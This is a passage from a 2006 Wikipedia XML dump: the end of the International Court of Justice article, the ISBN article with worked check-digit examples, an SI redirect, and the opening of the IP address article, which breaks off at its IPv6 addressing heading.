In addition to the President and Vice-President, the ICJ judges are:
*[[Raymond Ranjeva]] ([[Madagascar]])
*[[Shi Jiuyong]] ([[People's Republic of China]])
*[[Abdul G. Koroma]] ([[Sierra Leone]])
*[[Gonzalo Parra Aranguren]] ([[Venezuela]])
*[[Thomas Buergenthal]] ([[United States|United States of America]])
*[[Hisashi Owada]] ([[Japan]])
*[[Bruno Simma]] ([[Germany]])
*[[Peter Tomka]] ([[Slovakia]])
*[[Ronny Abraham]] ([[France]])
*Sir [[Kenneth Keith]] ([[New Zealand]])
*[[Bernardo Sepúlveda Amor]] ([[Mexico]])
*[[Mohamed Bennouna]] ([[Morocco]])
*[[Leonid Skotnikov]] ([[Russia|Russian Federation]])

==Jurisdiction==
''See main article: [[Jurisdiction of the International Court of Justice]].''

As stated in Article 93 of the UN Charter, all 191 UN members are automatically [[Party (law)|parties]] to the Court's statute. Non-UN members may also become parties to the Court's statute under the Article 93(2) procedure. For example, [[Switzerland]] used this procedure in [[1948]] to become a party; [[Nauru]] also became a party in [[1988]]. Once a state is a party to the Court's statute, it is entitled to participate in cases before the Court. However, being a party to the statute does not automatically give the Court jurisdiction over disputes involving those parties. The issue of [[jurisdiction]] is considered in the two types of ICJ cases: contentious issues and advisory opinions. 

===Contentious issues===

In contentious cases, the ICJ produces a binding ruling between states that agree to submit to the ruling of the court. Only [[state]]s may be parties in contentious cases. [[Individual]]s, [[corporation]]s, parts of a [[federal state]], [[NGO]]s, UN organs and [[self-determination]] groups are excluded from direct participation in cases, although the Court may receive information from public [[international organisations]]. This does not preclude non-state interests from being the subject of proceedings if one state brings the case against another. For example, a state may, in case of &quot;diplomatic protection&quot;, bring a case on behalf of one of its nationals or corporations.{{ref|6}}

Jurisdiction is often a crucial question for the Court in contentious cases. (See [[International Court of Justice#Procedure|Procedure]] below.) The key principle is that the ICJ only has jurisdiction on the basis of consent. Article 36 outlines four bases on which the Court's jurisdiction may be founded. 

*First, 36(1) provides that parties may refer cases to the Court (jurisdiction founded on &quot;special agreement&quot; or &quot;''compromis''&quot;). This method is based on explicit consent rather than true compulsory jurisdiction. It is, perhaps, the most effective basis for the Court's jurisdiction because the parties concerned have a desire for the dispute to be resolved by the Court and are thus more likely to comply with the Court's judgment. 

*Second, 36(1) also gives the Court jurisdiction over &quot;matters specifically provided for ... in treaties and conventions in force&quot;. Most modern [[treaty|treaties]] will contain a [[compromissory clause]], providing for dispute resolution by the ICJ.{{ref|7}} Cases founded on compromissory clauses have not been as effective as cases founded on special agreement, since a state may have no interest in having the matter examined by the Court and may refuse to comply with a judgment. For example, during the [[Iran hostage crisis]], [[Iran]] refused to participate in a case brought by USA based on a compromissory clause contained in the [[Vienna Convention on Diplomatic Relations]], nor did it comply with the judgment.{{ref|8}} Since the [[1970s]], the use of such clauses has declined. Many modern treaties set out their own dispute resolution regime, often based on forms of [[arbitration]].{{ref|9}}

*Thirdly, Article 36(2) allows states to make optional clause declarations accepting the Court's jurisdiction. The tag of &quot;compulsory&quot; which is sometimes placed on Article 36(2) jurisdiction is misleading since declarations by states are voluntary. Furthermore, many declarations contain reservations, such as exclusion from jurisdiction certain types of dispute (&quot;''ratione materia''&quot;).{{ref|10}} The principle of [[reciprocity]] may further limit jurisdiction. As of [[December 2005]], sixty-five states had a declaration in force.{{ref|11}} Out of the [[Security Council]] members, only the [[United Kingdom]] has a declaration. In the Court's early years, most declarations were made by industrialised countries. Since the ''[[Nicaragua v. United States|Nicaragua Case]]'', declarations made by developing countries have increased, reflecting a growing confidence in the Court since the [[1980s]].

*Finally, 36(5) provides for jurisdiction on the basis of declarations made under the [[Permanent Court of International Justice]]'s statute. Article 37 of the ICJ's statute similarly transfers jurisdiction under any compromissory clause in a treaty that gave jurisdiction to the PCIJ. 

In addition, the Court may have jurisdiction on the basis of tacit consent (''[[forum prorogatum]]''). In the absence of clear jurisdiction under Article 36, jurisdiction will be established if the respondent accepts its jurisdiction explicitly or simply pleads to the merits. The notion arose in the ''Corfu Channel Case'' (UK v Albania) in which it was held that letter from [[Albania]] stating that it submitted to the jurisdiction of the ICJ was sufficient to found jurisdiction.

===Advisory opinion===

An advisory opinion is a function of the court open only to specified United Nations bodies and agencies. On receiving a request, the Court decides which States and organizations might provide useful information and gives them an opportunity to present written or oral statements. Advisory Opinions were intended as a means by which UN agencies could seek the Court's help in deciding complex legal issues that might fall under their respective mandates. In principle the Court's advisory opinions are consultative in character, though they are also influential and widely respected. Whilst certain instruments or regulations can provide in advance that the advisory opinion shall be specifically binding on particular agencies or states, they are inherently non-binding under the Statute of the Court.

Advisory Opinions have often been controversial, either because the questions asked are controversial, or because the case was pursued as a &quot;backdoor&quot; way of bringing what is really a contentious case before the Court.

Examples of cases include:

*Advisory Opinion of the International Court of Justice on the [[Israeli West Bank Barrier]].
*[[Advisory Opinion of the International Court of Justice of 8 July 1996| An advisory opinion on the legality of the use (or threat to use) nuclear weapons]].
*The [[International Court of Justice Advisory Opinion on Western Sahara|opinion]] on [[Western Sahara]], issued in [[1975]].

===The ICJ and the Security Council===

Article 94 establishes the duty of all UN members to comply with decisions of the Court involving them. If parties do not comply, the issue may be taken before the [[Security Council]] for enforcement action. There are obvious problems with such a method of enforcement. If the judgment is against one of the permanent five members of the Security Council or its allies, any resolution on enforcement will be vetoed. This occurred, for example, after the [[Nicaragua v. United States|''Nicaragua'' case]], when [[Nicaragua]] brought the issue of the USA's non-compliance with the Court's decision before the Security Council.{{ref|2}} Furthermore, if the Security Council refuses to enforce a judgment against any other state, there is no method of forcing the state to comply.

The relationship between the ICJ and the [[Security Council]], and the separation of their powers, was considered by the Court in [[1992]], in the [[Pan Am case|''Pan Am'' case]]. The Court had to consider an application from [[Libya]] for the order of provisional measures to protect its rights, which, it alleged, were being infringed by the threat of economic sanctions by the [[UK]] and [[USA]]. The problem was that these sanctions had been authorised by the Security Council, which resulted with a potential conflict between the Chapter VII functions of the Security Council and the judicial function of the Court. The Court decided, by eleven votes to five, that it could not order the requested provisional measures because the rights claimed by Libya, even if legitimate under the [[Montreal Convention]], could no longer be upheld since the action was justified by the Security Council. In accordance with Article 103 of the UN Charter, obligations under the Charter took precedence over other treaty obligations.

There was a marked reluctance on the part of a majority of the Court to become involved in a dispute in such a way as to bring it potentially into conflict with the Council. The Court stated in the ''Nicaragua'' case (Jurisdiction) that there is no necessary inconsistency between action by the Security Council and adjudication by the ICJ. However, where there is room for conflict, the balance appears to be in favour of the Security Council.

Should either party fail &quot;to perform the obligations incumbent upon it under a judgment rendered by the Court&quot;, the Security Council may be called upon to &quot;make recommendations or decide upon measures&quot; if the security council deems such actions necessary. In practice, the Court's powers have been limited by the unwillingness of the losing party to abide by the Court's ruling, and by the Security Council's unwillingness to enforce consequences. However, in theory, &quot;so far as the parties to the case are concerned, a judgment of the Court is binding, final and without appeal,&quot; and &quot;by signing the Charter, a State Member of the United Nations undertakes to comply with any decision of the International Court of Justice in a case to which it is a party&quot;. 

For example, in [[Nicaragua v. United States]] the [[United States|United States of America]] had previously accepted the Court's compulsory jurisdiction upon its creation in [[1946]] but withdrew its acceptance following the Court's judgment in [[1984]] that called on the [[United States]] to &quot;cease and to refrain&quot; from the &quot;unlawful use of force&quot; against the government of [[Nicaragua]]. In a split decision, the majority of the Court ruled the [[United States]] was &quot;in breach of its obligation under customary international law not to use force against another state&quot; and ordered the US pay [[reparations]] (see note 2), although it never did.

Examples of cases include:

*A complaint by the [[United States]] in [[1980]] that [[Iran]] was detaining American diplomats in [[Tehran]] in violation of international law.
*A dispute between [[Tunisia]] and [[Libya]] over the delimitation of the continental shelf between them.
*A dispute over the course of the maritime boundary dividing the U.S. and [[Canada]] in the [[Gulf of Maine]] area.
*A complaint by the [[Federal Republic of Yugoslavia]] against the member states of the [[North Atlantic Treaty Organisation]] regarding their actions in the [[Kosovo War]]. This was denied on [[15 December]], [[2004]] due to lack of jurisdiction, because the FRY was not a party to the ICJ statute at the time it made the application. 

The last example can be used as evidence of the Court's failure to take on politically controversial cases; as the Court has no means to enforce its rulings, its survival is dependent on its political legitimacy. That would be endangered if it constantly came with rulings which states have no interest of taking into consideration. This is one of the Court's major shortcomings: its rulings must be considered in a political context.

==Law applied==
''See main article: [[Sources of international law]].''

When deciding cases, the Court applies international law as summarised in Article 38. Article 38 of the Statute provides that in arriving at its decisions the Court shall apply international conventions, international custom, the &quot;general principles of law recognized by civilized nations&quot;. It may also refer to academic writing and previous judicial decisions to help interpret the law, although the Court is not formally bound by its previous decisions. If the parties agree, the Court may also decide ''[[ex aequo et bono]]'' (&quot;in justice and fairness&quot;), in which the Court makes a decision based on what is fair in the circumstances or a reasonable adjustment of the rights of the parties, rather than a decision based strictly on legal rights and obligations. If exercised, it would allow the Court to operate in some ways similar to a [[mediator]]. However, this provision has never been used in the Court's history.

Article 59 makes clear that the [[common law]] notion of [[precedent]] or ''[[stare decisis]]'' does not apply to the decisions of the ICJ. The Court's decision binds only the parties in the individual case. Under 38(1)(d), however, the Court may have regard to its own previous decisions. In reality, the ICJ rarely departs from its own previous decisions and treats them in a similar way as [[superior court]]s in common law systems treat their own judgments. They are often referred to by the Court as authoritative statements of law. Further, international lawyers commonly operate as though ICJ judgments had precedential value.

==Procedure==

The ICJ is vested with the power to make its own rules. Court procedure is set out in ''Rules of Court of the International Court of Justice 1978'' (as amended on [[29 September]] [[2005]]).{{ref|5}}

Cases before the ICJ will follow a standard pattern. The case is lodged by the applicant who files a written memorial setting out the basis of the Court's jurisdiction and the merits of its claim. The respondent may accept the Court's jurisdiction and file its own memorial on the merits of the case. 

===Preliminary Objections===

A respondent who does not wish to submit to the jurisdiction of the Court may raise Preliminary Objections. Any such objections must be ruled upon before the Court can address the merits of the applicant's claim. These objections must be ruled upon by the Court before it can proceed on the merits. Often a separate public hearing is held on the Preliminary Objections and the Court will render a judgment. Respondents normally file Preliminary Objections to the jurisdiction of the Court and/or the [[admissibility]] of the case. Inadmissibility refers to a range of arguments about factors the Court should take into account in deciding jurisdiction; for example, that the issue is not justiciable or not a &quot;legal dispute&quot;. 

In addition, objections may be made because all necessary parties are not before the Court. If the case necessarily requires the Court to rule on the rights and obligations of a state that has not consented to the Court's jurisdiction, the Court will not proceed to judgment on the merits.

If the Court decides it has jurisdiction and the case is admissible, the respondent will then be required to file a Memorial addressing the merits of the applicant's claim. Once all written arguments are filed, the Court will hold a public hearing on the merits.

Once a case has been filed, any party (but usually the Applicant) may seek an order from the Court to protect the ''status quo'' pending the hearing of the case. Such orders are known as Provisional (or Interim) Measures and are analogous to [[interlocutory injunction]]s in domestic law. Article 41 of the statute allows the Court to make such orders. The major legal question that has arisen on such applications is to what extent the Court must be satisfied that it has jurisdiction to hear the merits of the case before granting provisional measures.

===Applications to intervene===

In cases where a third state's interests are affected, that state may be permitted to intervene in the case, and participate as a full party. Under Article 62, a state &quot;with an interest of a legal nature&quot; may apply; however, it is within the Court's discretion whether or not to allow the intervention. Intervention applications are rare - the first successful application occurred in [[1990]].

Once deliberation has taken place, the Court will issue a majority opinion. Individual judges may issue separate opinions (if they agree with the outcome reached in the judgment of the court but differ in their reasoning) or dissenting opinions (if they disagree with the majority). No appeal is possible.

==See also==

*[[UN Economic and Social Council]]
*[[UN Secretariat]]
*[[UN Trusteeship Council]]

*[[International Criminal Tribunal for the Former Yugoslavia]]
*[[International Criminal Tribunal for Rwanda]]

*[[List of International Court of Justice cases]]
*[[List of treaties that confer jurisdiction on the ICJ]]

* [[Mundialization]]
* [[Nicaragua vs. United States]]
* [[World citizen]]

==Notes==
&lt;div style=&quot;font-size: 90%&quot;&gt;
#{{note|1}}[http://www.icj-cij.org/icjwww/ibasicdocuments/ibasictext/ibasicstatute.htm Statute of the International Court of Justice]. Accessed [[17 December]] [[2005]].
#{{note|2}}See ''Case Concerning Military and Paramilitary Activities In and Against Nicaragua'' (Nicaragua v USA), [1986] ICJ Reports 14, 158-60 (Merits) per Judge Lachs. 
#{{note|3}}This occurred in the ''Legality of the Use by a State of Nuclear Weapons in Armed Conflict'' (Opinion requested by WHO), [1996] ICJ Reports 66.
#{{note|4}}''Gulf of Maine Case'' (USA v Canada), [1984] ICJ Reports 53.
#{{note|5}}Schwebel S &quot;Ad Hoc Chambers of the International Court of Justice&quot; (1987) 81 ''American Journal of International Law'' 831.
#{{note|6}}See the ''Nittebohm Case'' (Liechtenstein v Guatemala), [1955] ICJ Reports 4.
#{{note|7}}See [[List of treaties that confer jurisdiction on the ICJ]].
#{{note|8}}''Case Concerning United States Diplomatic and Consular Staff in Tehran'' (USA v Iran), [1979] ICJ Reports 7. 
#{{note|9}}See Charney J &quot;Compromissory Clauses and the Jurisdiction of the International Court of Justice&quot; (1987) 81 ''American Journal of International Law'' 855.
#{{note|10}}See Alexandrov S ''Reservations in Unilateral Declarations Accepting the Compulsory Jurisdiction of the International Court of Justice'' (Leiden: Martinus Nijhoff, 1995).
#{{note|11}}For a complete list of countries and their stance with the ICJ, see [http://www.icj-cij.org/icjwww/ibasicdocuments/ibasictext/ibasicdeclarations.htm Declarations Recognizing as Compulsory the Jurisdiction of the Court]. Accessed [[17 December]] [[2005]].

#{{note|4}}[http://www.icj-cij.org/icjwww/ibasicdocuments/ibasictext/ibasicrulesofcourt_20050929.htm Rules of Court of the International Court of Justice 1978] (as amended on [[5 December]] [[2000]]). Accessed [[17 December]] [[2005]]. See also [http://www.icj-cij.org/icjwww/ibasicdocuments/ibasictext/ibasic_practice_directions_20040730_I-XII.htm Practice Directions I-XII] (as at [[30 July]] [[2004]]). Accessed [[17 December]] [[2005]].
&lt;/div&gt;

==Further reading==

*Rosenne S, ''Rosenne's the world court: what it is and how it works'' 6th ed (Leiden: Martinus Nijhoff, 2003).

==External links==

*[http://www.icj-cij.org/ International Court of Justice], Official site
*[http://www.icj-cij.org/icjwww/idecisions.htm List of cases] ruled upon by the ICJ since its creation in 1946

{{United Nations}}

[[Category:International courts]]
[[Category:United Nations]]
[[Category:International law]]
[[Category:International Court of Justice]]

[[ar:محكمة العدل الدولية]]
[[bg:Международен съд]]
[[zh-min-nan:Kok-chè Hoat-têng]]
[[ca:Cort Internacional de Justícia de l'ONU]]
[[da:ICJ]]
[[de:Internationaler Gerichtshof]]
[[es:Corte Internacional de Justicia]]
[[fa:دیوان دادگستری بین‌المللی]]
[[fr:Cour internationale de justice]]
[[ko:국제사법재판소]]
[[is:Alþjóðadómstóllinn]]
[[it:Corte Internazionale di Giustizia]]
[[he:בית הדין הבינלאומי לצדק]]
[[kn:ಅಂತರರಾಷ್ಟ್ರೀಯ ನ್ಯಾಯಸ್ಥಾನ]]
[[ka:გაეროს საერთაშორისო სასამართლო]]
[[nl:Internationaal Gerechtshof]]
[[ja:国際司法裁判所]]
[[no:Den internasjonale domstolen]]
[[pl:Międzynarodowy Trybunał Sprawiedliwości]]
[[pt:Tribunal Internacional de Justiça]]
[[sl:Meddržavno sodišče OZN]]
[[sv:Internationella domstolen i Haag]]
[[tl:Hukumang Internasyonal ng Katarungan]]
[[th:ศาลยุติธรรมระหว่างประเทศ]]
[[vi:Tòa án Quốc tế vì Công lý]]
[[zh:国际法院]]</text>
    </revision>
  </page>
  <page>
    <title>ISBN</title>
    <id>14919</id>
    <revision>
      <id>42090766</id>
      <timestamp>2006-03-03T19:40:59Z</timestamp>
      <contributor>
        <username>Amaltsev</username>
        <id>284107</id>
      </contributor>
      <minor />
      <comment>reverting back what seems like an accidental edit</comment>
      <text xml:space="preserve">The '''International Standard Book Number''', or '''ISBN''' (sometimes pronounced &quot;is-ben&quot;), is a unique{{ref|1}} [[identifier]] for books, intended to be used commercially. The ISBN system was created in the [[United Kingdom]] in [[1966]] by the booksellers and stationers [[W H Smith]] and originally called Standard Book Numbering or SBN (still used in [[1974]]). It was adopted as international standard [[International Organization for Standardization|ISO]] 2108 in [[1970]]. A similar identifier, the International Standard Serial Number ([[ISSN]]), is used for periodical publications such as magazines. 

==Overview==

Each edition and variation (except reprints) of a book receives its own ISBN. The number is either 10 or 13 digits long, and consists of four or five parts:
#if 13-digit ISBN, an [[European Article Number|EAN]] prefix, either 978 or 979
#the country of origin or language code,
#the publisher,
#the item number, and
#a [[checksum]] character.

The different parts can have different lengths and are usually separated by hyphens. Hyphens are not strictly necessary however, since [[prefix code]]s are used, which ensure that no two codes start the same way. If present, hyphens must be placed correctly (instructions are given [http://www.isbn.org/standards/home/isbn/international/hyphenation-instructions.asp here]); however they are not sufficient since different agencies are responsible for allocating different ISBN subranges and a complete, up-to-date list is not available at isbn.org. 

The country field is 0 or 1 for English speaking countries, 2 for French speaking countries, 3 for German speaking countries, etc. (The original SBN lacked the country field, but prefixing 0 to a 9-digit SBN creates a valid ISBN.) The country field can be up to 5 digits long; 99936 for instance is used for [[Bhutan]]. See [http://www.isbn-international.org/en/identifiers/allidentifiers.html this complete list].

The publisher number is assigned by the national ISBN agency, and the item number is chosen by the publisher. There is, in general, no requirement for a publisher to assign an ISBN to a book nor for that book to display its number - but see below for the exception in China. However, many bookstores will only deal with items bearing an ISBN.

Publishers receive blocks of ISBNs, with larger blocks going to publishers that are expected to need them; a small publisher might receive ISBNs consisting of a digit for the language, seven digits for the publisher, and a single digit for the individual items. Once that block is used up, the publisher can receive another block of numbers, with a different publisher number. As a consequence, different publisher numbers may correspond to the same publisher.

The [[International ISBN Agency]] [http://www.isbn-international.org/] in its official manual [http://www.isbn-international.org/en/userman/download/ISBNmanual.pdf] states that the 10-digit ISBN [[check digit]], which is the last digit of the 10 digit ISBN, is calculated on a [[modular arithmetic|modulus]] 11 with weights 10 to 2, using X in lieu of 10 where ten would occur as a check digit. This means that each of the first nine digits of the 10-digit ISBN – excluding the check digit itself – is multiplied by a number in a sequence from 10 to 2 and that the resulting sum of the products, plus the check digit, must be divisible by 11 without a remainder.

By this method the calculation for the 10-digit ISBN whose first nine digits are 0-306-40615 would be done thus:
 &amp;nbsp; 10×0 + 9×3 + 8×0 + 7×6 + 6×4 + 5×0 + 4×6 + 3×1 + 2×5
 = &amp;nbsp;0&amp;nbsp; + &amp;nbsp;27&amp;nbsp; + &amp;nbsp;0&amp;nbsp; + &amp;nbsp;42 + &amp;nbsp;24 + &amp;nbsp;0&amp;nbsp; + &amp;nbsp;24 + &amp;nbsp;3&amp;nbsp; + &amp;nbsp;10
 = 130
 The next complete multiple of 11 is 12×11 = 132
 132 - 130 = 2

So the check digit is 2, and the complete sequence is &lt;nowiki&gt;ISBN 0-306-40615-2&lt;/nowiki&gt;.

A second method to find the check digit is by first multiplying each digit of the 10-digit ISBN by that digit's place in the number sequence from 1 to 9, with the leftmost digit being multiplied by 1, the next digit by 2, and so on. Next, take the sum of these multiplications and calculate the sum [[modular arithmetic|modulo]] 11, with &quot;10&quot; represented by the character &quot;X&quot;.
For example, to find the check digit for the 10-digit ISBN whose first nine digits are 0-306-40615:
 &amp;nbsp; 1×0 + 2×3 + 3×0 + 4×6 + 5×4 + 6×0 + 7×6 + 8×1 + 9×5
 = &amp;nbsp;0&amp;nbsp; + &amp;nbsp;6&amp;nbsp; + &amp;nbsp;0&amp;nbsp; + &amp;nbsp;24 + &amp;nbsp;20 + &amp;nbsp;0&amp;nbsp; + &amp;nbsp;42 + &amp;nbsp;8&amp;nbsp; + &amp;nbsp;45
 = 145
 = 13×11 + 2
So the check digit is 2, and the complete sequence is &lt;nowiki&gt;ISBN 0-306-40615-2&lt;/nowiki&gt;. 

Since 11 is a [[prime number]], this scheme ensures that a single error (in the form of an altered digit or two transposed digits) can always be detected.

==EAN format used in barcodes, and planned upgrade==

Currently, the barcodes found on the backs of books (or inside front covers of mass-market paperbacks) are [[EAN-13]]; they may be &quot;Bookland&quot;&amp;mdash;that is, with a separate barcode encoding five digits for the currency and recommended retail price. There is a detailed description of the EAN13 format [http://www.barcodeisland.com/ean13.phtml here]. &quot;978&quot;, the asset code for books, is prepended to the ISBN in the barcode data, and the check digit is recalculated according to the EAN13 formula (modulo 10, 1x, and 3x weighting on alternate digits).

Because of a pending shortage in certain ISBN categories, the [[International Organization for Standardization]] (ISO) started migrating to a thirteen-digit ISBN (sometimes referred to as ISBN-13) in a process that began on [[1 January]] [[2005]] and will finish on [[1 January]] [[2007]]. This move will also bring the ISBN system into line with the [[Universal Product Code|UPC]] barcode system. There is a [http://www.collectionscanada.ca/iso/tc46sc9/isbn.htm FAQ document] about this change. Existing ISBNs will be prefixed with &quot;978&quot; (and the check digit recalculated); as the &quot;978&quot; ISBNs are exhausted, the &quot;979&quot; prefix will be introduced. This is expected to happen more rapidly outside of the US. Note that publisher identification codes are unlikely to be the same in 978 and 979 ISBNs.

Since the new 13-digit ISBNs will be identical to the EAN barcoded format of any existing 10-digit ISBNs, this process will not break compatibility with any existing barcodes. This means that moving to an EAN-based system will allow booksellers to use a single numbering system for both book and non-book products without breaking backwards compatibility with existing ISBN-based information, and with only minimal changes to their IT systems. For this reason, many [[bookstore|booksellers]], including [[Barnes &amp; Noble]], have already opted to start the process of phasing out usage of ISBNs in favour of using EAN codes as of March 2005.

== ISBNs and book censorship in the People's Republic of China ==

ISBNs are used as a means of book censorship in the [[People's Republic of China]].  For a printer to legally print a run of books, they
must have an ISBN, which are assigned in blocks to state owned publishing houses.  However, since the 1990s, this means of censorship has become
much less effective as state publishing houses, which have been weaned from government subsidy like all [[state owned enterprises]], will now sell ISBNs to the highest bidder without regard to the content.

== See also ==

* [[Amazon Standard Identification Number|ASIN]] (Amazon Standard Identification Number)
* [[ESBN]] (Electronic Standard Book Number, see http://esbn.org )
* [[ISMN]] (International Standard Music Number)
* [[ISAN]] (International Standard Audiovisual Number)
* [[ISSN]] (International Standard Serial Number)
* [[ISWC]] (International Standard Work Code, see http://iswc.org ) 
* [[Library of Congress Control Number]]

* [http://www.iso.org/iso/en/CatalogueDetailPage.CatalogueDetail?CSNUMBER=36563&amp;ICS1=1&amp;ICS2=140&amp;ICS3=20 ISO 2108:2005] at [http://www.iso.org www.iso.org] 
* [http://www.cwi.nl/~dik/english/codes/isbn.html Brief Summary of ISBN]
* [http://wikibooks.org/wiki/How_to_find_a_book How to find a book] from Wikibooks
* [http://www.isbn.org/standards/home/isbn/transition.asp ISBN to EAN transition at isbn.org]
* [http://www.bookweb.org/education/6865.html Description of the ISBN to EAN upgrade process] at bookweb.org
* [http://en.wikipedia.org/wiki/Wikipedia:ISBN Wikipedia:ISBN], use of ISBN on [[Wikipedia]]
;National and international agencies
* [http://www.isbn-international.org International &lt;nowiki&gt;ISBN Agency&lt;/nowiki&gt;] - coordinates and supervises the world-wide use of the ISBN system. 
* [http://www.thorpe.com.au/isbn/ &lt;nowiki&gt;ISBN Agency&lt;/nowiki&gt; Australia] - Thorpe-Bowker, a division of R R Bowker LLC
* [http://www.nbdrs.com/isbn_agency.htm ISBN agency for UK and Republic of Ireland] - Nielsen BookData
* [http://www.isbn.org/ ISBN agency for US and Puerto Rico] - R.R. Bowker LLC
* [http://www.isbn-international.org/en/identifiers/allidentifiers.html Numerical List of Group Identifiers] List of language/region prefixes
;Online tools
* [http://www.bowkerlink.com/ Publisher access system] for Books In print and Global Books In Print database products
* [http://www.kimbakano.com Kimba Kano] - Internet Explorer and Firefox add-on adding built in ISBN &amp; ASIN searching.
* [http://www.isbn-check.com ISBN check form] checks checksum; outputs list of possible correct ISBN when the input is incorrect.
* [http://isbndb.com/ ISBNdb.com] - find books by ISBN, author, title, subject, etc; auto-corrects ISBN checksums if needed.
* [http://ISBN.nu/ ISBN.nu] - offers free searching of a titles database.
* [http://www.toothycat.net/cgi/book.pl Yet another ISBN lookup tool] that searches a number of database and bookseller sites.
* RFC 3187 &lt;!-- should be automatically linked by Wikipedia --&gt; Using International Standard Book Numbers as Uniform resource names ([[URN]])
* [http://www.cgpp.com/bookland/isbn.html Online tool] to produce barcodes from ISBNs.
* [http://www.bisg.org/isbn-13/for.dummies.html ISBN-13 For Dummies]
* [http://isbn-international.org/en/download/implementation-guidelines-04.pdf Implementation guidelines] (pdf document) for the 13 digit ISBN code.
* [http://isbntools.com/ The ISBN tools website] has open-source java classes to implement 10 and 13-digit ISBNs.

==Footnotes==

{{note|1}} Occasionally publishers will use an ISBN in error for more than one title (for example, the first edition of &quot;The Ultimate Alphabet&quot; and &quot;The Ultimate Alphabet Answerbook&quot; have the same ISBN). Conversely, at least one book has been published with four ISBN numbers printed inside, depending on the binding and which of the two joint publishers were deemed applicable to a particular copy.

[[Category:ISO standards]]
[[Category:Universal_Identifiers]]
[[Category:Checksum algorithms]]
[[Category:Identifiers]]
[[Category:Library and information science]]
[[Category:books]]

[[br:ISBN]]
[[cs:ISBN]]
[[cy:Rhif Llyfr Safonol Rhyngwladol]]
[[da:Internationalt Standard Bognummer]]
[[de:Internationale Standardbuchnummer]]
[[et:ISBN]]
[[es:ISBN]]
[[eo:ISBN]]
[[fr:ISBN]]
[[it:Codice ISBN]]
[[ku:ISBN]]
[[hu:ISBN]]
[[nl:Internationaal Standaard Boeknummer]]
[[ja:ISBN]]
[[no:ISBN]]
[[pl:ISBN]]
[[pt:ISBN]]
[[ru:ISBN]]
[[fi:ISBN]]
[[sv:ISBN]]
[[th:เลขมาตรฐานสากลประจำหนังสือ]]
[[vi:ISBN]]
[[tr:ISBN]]
[[zh:国际标准书号]]</text>
    </revision>
  </page>
  <page>
    <title>International System of Units</title>
    <id>14920</id>
    <revision>
      <id>15912445</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Tarquin</username>
        <id>83</id>
      </contributor>
      <comment>moved to &quot;SI&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[SI]]
</text>
    </revision>
  </page>
  <page>
    <title>IP address</title>
    <id>14921</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42119515</id>
      <timestamp>2006-03-03T23:17:58Z</timestamp>
      <contributor>
        <username>Jaxl</username>
        <id>309415</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.63.23.64|24.63.23.64]] ([[User talk:24.63.23.64|talk]]) to last version by Cburnett</comment>
      <text xml:space="preserve">An '''IP address''' ('''I'''nternet '''P'''rotocol address) is a unique number that devices use in order to identify and communicate with each other on a [[computer network|network]] utilizing the [[Internet Protocol]] standard.  Any participating device &amp;mdash; including [[routers]], [[computers]], time-servers, printers, internet FAX machines, and some telephones &amp;mdash; must have its own unique address.  This allows information passed onwards on behalf of the sender to indicate where to send it next, and for the receiver of the information to know that it is the intended destination.

The numbers currently used in IP addresses range from ''1.0.0.0'' to ''255.255.255.255'', though some of these values are reserved for specific purposes.  This does not provide enough possibilities for every internet device to have its own permanent number.  [[Subnet]] routing, [[Network Address Translation]] and the [[Dynamic Host Configuration Protocol]] (DHCP) server all allow local networks to use the same IP addresses as other networks elsewhere though both are connected to the Internet.  Devices such as network [[printer|printers]], [[web server]]s and [[mail server]]s are often allocated static IP addresses so they can always be found.

IP addresses are conceptually similar to phone numbers, except they are used in [[Local area network|LAN]]s (Local Area Network), [[WAN]]s (Wide Area Network), or the [[Internet]].  Because the numbers are not easy for humans to remember, the [[Domain Name System]] provides a service analogous to an address book lookup called &quot;domain name resolution&quot; or &quot;name resolution&quot;.
Special [[DNS server]]s on the internet are dedicated to performing the translation from a [[domain name]] to an IP address and vice versa.

== More details ==

The [[Internet Protocol]] (IP) knows each logical host interface by a number, the IP address. On any given network, this number must be unique among all the host interfaces that communicate through this network. Users of the [[Internet]] are sometimes given a [[host name]] in addition to their numerical IP address by their [[Internet service provider]].

The IP addresses of users browsing the [[World Wide Web]] are used to enable communications with the server of the Web site. Also, it is usually in the header of [[e-mail]] messages one sends. In fact, for all programs that utilize the [[TCP/IP]] protocol, the sender IP address and destination IP address are required in order to establish communications and send data.

Depending on one's [[Internet]] connection the IP address can be the same every time one connects (called a static IP address), or different every time one connects, (called  a dynamic IP address). In order to use a dynamic IP address, there must exist a server which can provide the address. IP addresses are usually given out through a server service called DHCP or the [[Dynamic Host Configuration Protocol]].  If a static address is used, it must be manually programmed into parameters of the device's [[network interface]].

Internet addresses are needed not only for unique enumeration of hosted interfaces, but also for routing purposes, therefore a high fraction of them are always unused or reserved.

The unique nature of IP addresses makes it possible in many situations to track which computer &amp;mdash; and by extension, which person &amp;mdash; has sent a message or engaged in some other activity on the Internet.  This information has been used by law enforcement authorities to identify criminal suspects; however dynamically-assigned IP addresses can make this difficult.

== IP version 4 ==
{{main|IPv4#Addressing}}

IPv4 uses 32-[[bit]] (4 [[byte]]) addresses which limits the [[address space]] to 4,294,967,295 possible unique addresses.
However, many are reserved for special purposes such as [[private network]]s (~18 million addresses) or [[multicast]] addresses (~1 million addresses). This reduces the number of addresses that can be allocated as public Internet addresses and as the number of addresses available is consumed, an [[#Exhaustion|IPv4 address shortage]] appears to be inevitable in the long run.

This limitation has helped stimulate the push towards [[IPv6]], which is currently in the early stages of deployment and is currently the only contender to replace IPv4.

== IP version 5 ==

What would be considered ''IPv5'' existed only as an experimental non-IP real time streaming protocol called ST2, described in RFC 1819. In keeping with standard [[UNIX]] release conventions, all odd-numbered versions are considered experimental, and this version was never intended to be implemented; the protocol was not abandoned. [[Integrated services|RSVP]] has replaced it to some degree.

== IP version 6 ==
In '''[[IPv6]]''', the new (but not yet widely deployed) standard protocol for the Internet, addresses are 128 bits wide, which, even with generous assignment of netblocks, should suffice for the foreseeable future. In theory, there would be exactly 2&lt;sup&gt;128&lt;/sup&gt;, or about 3.403 &amp;times; 10&lt;sup&gt;38&lt;/sup&gt; unique host interface addresses. If the earth were made entirely out of 1 cubic millimeter grains of sand, then you could give a unique address to each grain in 300 million planets the size of the earth. This large address space will be sparsely populated, which makes it possible to again encode more routing information into the addresses themselves.
=== Addressing ===

